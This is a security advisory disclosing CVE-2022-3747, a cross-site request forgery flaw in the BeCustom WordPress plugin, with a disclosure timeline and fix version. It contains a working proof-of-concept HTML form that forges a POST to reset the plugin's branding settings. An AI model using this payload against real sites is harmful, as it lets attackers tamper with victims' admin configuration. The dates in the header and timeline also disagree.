```
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        BeCustom Wordpress Plugin
Vendor URL:     https://muffingroup.com/betheme/features/be-custom/
Type:           Cross-Site Request Forgery [CWE-253]
Date found:     2021-10-28
Date published: 2022-11-10
CVSSv3 Score:   5.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N)
CVE:            CVE-2022-3747


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
BeTheme BeCustom 1.0.5.2 and below


4. INTRODUCTION
===============
Built in-house add-on, perfect for agencies and web developers will let you rebrand
Be & WordPresss Admin to your own product by replacing all the Be & Muffin logos with
own.

This tool is supplied exclusively to the customers of Betheme and allows for changes
like: complete dashboard customization, replacement of logos, colors managment and much
more. With just a few clicks, you will turn the Be & Muffin brand into yours, thanks to
which you will increase the trust of your customers.

Moreover, from now on you can also customize the WPLogin page.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The WordPress plugin lacks an anti-CSRF protection on all of its functionalities, which
ultimately allows an attacker to (amongst others):

- Set custom brandings
- Enable/Disable BeCustom features
- Modify the WP Login view
- Modify the BeDashboard texts

Since there is no anti-CSRF token protecting these functionalities, they are
vulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform
a variety of attacks as mentioned above.

To successfully exploit this vulnerability, a user with the right to access the
plugin must be tricked into visiting an arbitrary website while having an authenticated
session in the application.


6. PROOF OF CONCEPT
===================
An exemplary exploit to reset the plugin's configuration:

<html>
  <body>
    <form action="http://localhost/wp-admin/admin.php?page=be_custom_branding" method="POST">
      <input type="hidden" name="betheme&#95;label" value="" />
      <input type="hidden" name="betheme&#95;url&#95;slug" value="" />
      <input type="hidden" name="replaced&#95;logo&#95;url" value="" />
      <input type="hidden" name="replaced&#95;theme&#95;image" value="" />
      <input type="hidden" name="replaced&#95;theme&#95;desc" value="" />
      <input type="hidden" name="replaced&#95;theme&#95;author" value="Muffin&#32;Group&#32;1337" />
      <input type="hidden" name="submit" value="Save&#32;changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
```

```
</html>


7. SOLUTION
==========
Update to BeCustom 1.0.5.3


8. REPORT TIMELINE
==================
2022-10-28: Discovery of the vulnerability
2022-10-28: CVE requested from Wordfence (CNA)
2022-10-28: Wordfence assigns CVE-2022-3747
2022-11-01: Vendor notification
2022-11-07: No response. Sent another notification.
2022-11-08: Opened up a security support case on envato.com
2022-11-xx: Vendor publishes version 1.0.5.3 without notification which fixes this issue
2022-11-10: Public disclosure


9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
```